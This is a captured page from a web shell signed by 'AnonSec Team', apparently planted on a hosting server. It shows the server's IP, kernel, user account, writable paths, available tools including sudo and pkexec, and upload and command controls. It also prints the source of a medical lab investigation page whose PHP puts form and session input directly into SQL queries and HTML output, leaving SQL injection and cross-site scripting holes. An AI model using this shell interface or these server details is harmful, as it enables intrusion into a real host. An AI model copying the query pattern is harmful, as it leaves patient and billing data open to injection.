Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.137.198.239
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/listofinvestigation_unspecified.php
<?php
session_start();
require_once("../LoginManager.php");
require_once("../DBManager.php");
include("dbconnection.php");
include("header.php");
include 'workdeskmenu.php';

?>
   <!-- jQuery Library -->
 
<script src="js/jquery.min.js"></script>
<script type="text/javascript">
jQuery(document).ready(function($) { 

	// Find the forms and hide their content
	$('.form').each(function(){
		$(this).find('.form-content').hide();
	});

	// When a form is clicked (activated) show their content
	$('.form a.form-control').click(function(){
		var el = $(this), parent = el.closest('.form');

		if( el.hasClass('active') )
		{
			parent.find('.form-content').slideform();
			el.removeClass('active');
		}
		else
		{
			parent.find('.form-content').slideform();
			el.addClass('active');
		}
		return false;
	});

});  //End
</script>
<!-- form CSS -->
<style type="text/css">

/* Main form */
.form { 
	font-size: 13px;
	line-height:20px;
	font-family: "HelveticaNeue", "Helvetica Neue", Helvetica, Arial, sans-serif;
	background: #ffffff; /* Main background */
	margin-bottom: 10px;
	border: 1px solid #e5e5e5;
	-webkit-border-radius: 5px;
	   -moz-border-radius: 5px;
	        border-radius: 5px;	
}

/* form Link text */
.form a.form-control {
	display:block;
	padding: 10px 20px 15px 20px;
	position:relative;
	text-decoration: none;
	color: #666;
}

/* form Link hover state */
.form a.form-control:hover {
	opacity: .8;
	text-decoration: none;
}

/* form link when clicked */
.form a.active {
	text-decoration: none;
	border-bottom: 1px solid #e5e5e5;
	-webkit-box-shadow: 0 8px 6px -6px #ccc;
	   -moz-box-shadow: 0 8px 6px -6px #ccc;
	        box-shadow: 0 8px 6px -6px #ccc;
	color: #000;
}

/* Lets add a "-" before the form link */
.form a.form-control:before {
	content: "-";	/* You can add any symbol, font icon, or graphic icon */
	margin-right: 10px;
	font-size: 1.3em;	
}

/* When the form is active, change the "-" to a "+" */
.form a.active.form-control:before {
	content: "+";
}

/* The content of the form */
.form .form-content {
	padding: 10px 20px 15px 20px;
	color:#666;
}

</style>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
		<br>
	
	<input  type='text' list='DRUGS' placeholder='Search Investigation for location'>
<datalist name='DRUGS' id='DRUGS'>
 
		   <?php
include("dbconnection.php");
	$sqlpatient1 = "SELECT * FROM list_Investigation";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{

 if (is_numeric($rsn[labdepartmentid]))
{
$sql1 ="SELECT * FROM labdepartment WHERE labdepartmentid='$rsn[labdepartmentid]'";
$qsql1 = mysqli_query($con,$sql1);

while($rs1 = mysqli_fetch_array($qsql1))
{
  
	    echo "<option value='$rsn[Investigation]'>$rs1[lab_department_name]</option>";
				}
	}
	}
?> 
  </datalist>
	
<h2 align='center'>Unspecified Test</h2>
<?php session_start();
require_once("../patientmanager.php");
require_once("../DBManager.php");

	 if(isset($_POST[unspecified]))

	{
	PatientManager::listinvestigation("$_POST[Investigation]","$_POST[labdepartmentid]","$_POST[radiobodypartid]","$_POST[adminid]");
	 }
?>

      <style>

 
/* Automatic Serial Number Row */
.css-serial {
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>

<input type="search" class="light-table-filter" data-table="order-table" placeholder="Search" />
<br><br>
 <table id="example2"  class="order-table table table-bordered table-hover css-serial">
                  <thead>
                  <tr>
                    <th><strong>SR.NO</strong></th>    
             <th><strong>Investigation</strong></th>
             <th><strong>Scope </strong></th>
            <th><strong>Rate </strong></th>
           <th><strong>Action</strong></th>
        </tr>
      
                  </thead>
<?php
include("dbconnection.php");

 $narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
 $sql ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
{
$sqlpatient1 = "SELECT * FROM list_Investigation where labdepartmentid='Unspecified' AND adminid='$rs[entered_by]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo "<td></td><td>$rsn[Investigation]";

                 echo"</td>";
	 if (is_numeric($rsn[ivid]))
{
    $DisplayForm=True;
$sql1 ="SELECT * FROM create_inhouse WHERE hospitalid='$rs[entered_by]' And ivid='$rsn[ivid]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
		$DisplayForm=False;
echo "";
}
if($DisplayForm)
{
echo"<td></td>";
}
else
{
    $sql1 ="SELECT * FROM create_inhouse WHERE hospitalid='$rs[entered_by]' And ivid='$rsn[ivid]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rs1 = mysqli_fetch_array($qsql1))
    echo"  <td>$rs1[scope]</td> ";
    }
    
    
    if (is_numeric($rsn[ivid]))
{
    $DisplayForm=True;
$sql1 ="SELECT * FROM create_inhouse WHERE hospitalid='$rs[entered_by]' And ivid='$rsn[ivid]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
		$DisplayForm=False;
echo "";
}
if($DisplayForm)
{
echo"<td></td>";
}
else
{
    $sql1 ="SELECT * FROM create_inhouse WHERE hospitalid='$rs[entered_by]' And ivid='$rsn[ivid]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rs1 = mysqli_fetch_array($qsql1))
    echo"  <td>$rs1[rate]</td> ";
    }


	echo"
	   
<td><div class='btn-group'>
	  <button type='button' class='btn btn-default dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
	    Action <span class='caret'></span>
	  </button>
	  <ul class='dropdown-menu'>
	  ";
	  
	   if (is_numeric($rsn[ivid]))
{
    $DisplayForm=True;
$sql1 ="SELECT * FROM create_inhouse WHERE hospitalid='$rs[entered_by]' And ivid='$rsn[ivid]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
		$DisplayForm=False;
echo "";
}
if($DisplayForm)
{
echo"<li><a href='createdignosisinhouse.php?ivid=$rsn[ivid]'> <i class='glyphicon glyphicon-edit'></i> Create</a></li>";
}
else
{
    echo"<li><a href='Updatedia_inhouse_investigation.php?ivid=$rsn[ivid]'> <i class='glyphicon glyphicon-save'></i> Update</a></li> ";
    }
	  	 echo"
	  
	  </ul>
	</div>
             </td>
          </tr>                   
          
          ";
	}
}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>



                   <form name="unspecified" method="post">

			<label>Investigation</label>
					<input type='text' placeholder='Investigation Name' name='Investigation'>
	 <br>
	 <input type='hidden' name='labdepartmentid' value='Unspecified'>
	  <input type='hidden' name='radiobodypartid' value='Unspecified'>
	  
	  
	  <?php
	   session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		    echo"
		    <input type='hidden' name='adminid' value='$re[entered_by]'>
		    ";
		}
		?>
       <center><input type="submit" value="Submit" name="unspecified"></center>
      </form>
  <?php
if(isset($_SESSION[adminid]))
{
?>
   
                      <?php
                if(!isset($_SESSION[patientid]))
                {
					
	$sqlbilling_records ="SELECT * FROM billing WHERE appointmentid='$billappointmentid'";
	$qsqlbilling_records = mysqli_query($con,$sqlbilling_records);
	$rsbilling_records = mysqli_fetch_array($qsqlbilling_records);
	if($rsbilling_records[discharge_date] == "0000-00-00")
	{
				  ?>  
				  <table width="557" border="3">
			  <tbody>
				<tr>
				  <th scope="col"><div align="center"><a href="paymentdischarge.php?appointmentid=<?php echo $rsappointment[0]; ?>&patientid=<?php echo $_GET[patientid]; ?>">Make Payment</a></div></th>
				</tr>
			  </tbody>
			</table>
			<?php
	}
                }
                ?>
            </p>
        </div><!-- .form-content (end) -->
    </div><!-- .form (end) -->
<?php
}
?>
    </p>
  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>
       
       

Anon7 - 2022
AnonSec Team